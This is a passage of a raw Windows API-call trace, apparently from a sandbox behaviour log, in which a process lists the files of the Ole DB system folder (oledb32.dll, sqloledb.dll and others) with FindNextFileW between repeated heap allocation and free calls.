Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.681] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.681] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.681] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7e30c4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad7e30c4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb42720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdadc.dll", cAlternateFileName="")) returned 1 [0087.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.683] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadbe75c9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xadbe75c9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb67110, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaenum.dll", cAlternateFileName="")) returned 1 [0087.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.684] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad8554e1, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad8554e1, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb67110, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaer.dll", cAlternateFileName="")) returned 1 [0087.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.685] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaecb70b8, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaecb70b8, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb8e210, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x46000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaora.dll", cAlternateFileName="")) returned 1 [0087.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.687] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b5129, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaf3b5129, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x608c5fb0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaorar.dll", cAlternateFileName="")) returned 1 [0087.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.688] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868e16a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868e16a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0087.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.689] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6e1ed2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbd6e1ed2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bc4c8f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0087.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.691] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaddd679c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaddd679c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bcbf4e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasc.dll", cAlternateFileName="")) returned 1 [0087.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.692] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb5ad74, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb5ad74, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb80ed5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0087.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.694] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb37fe67e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb37fe67e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60d883e0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0087.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.695] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeaee044, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaeaee044, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0087.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.697] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ee79a4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb4ee79a4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatt.dll", cAlternateFileName="")) returned 1 [0087.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.698] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad9d2297, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad9d2297, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaurl.dll", cAlternateFileName="")) returned 1 [0087.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.700] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2b0cf35, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb2b0cf35, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xa0f9caf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0087.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.701] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6fc914, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b6fc914, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b722a74, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0087.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.702] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadb02d8f, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xadb02d8f, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb51db240, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0087.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.704] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bddc5, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x28bddc5, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x26a8a93, ftLastWriteTime.dwHighDateTime=0x1ca040b, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0087.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbea8 [0087.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124db68 [0087.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.708] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e3f24, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x28e3f24, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x27ff6ea, ftLastWriteTime.dwHighDateTime=0x1ca040b, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0087.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbec8 [0087.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.709] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b07acbf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b07acbf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0a0e20, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0087.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.711] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4e18eb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbc4e18eb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xbc38ac94, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0087.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbee8 [0087.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dae0 [0087.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.712] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba82b04c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xba82b04c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xaed6d5a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x41000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0087.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.714] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba87730a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xba87730a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xba804eed, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0087.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.715] 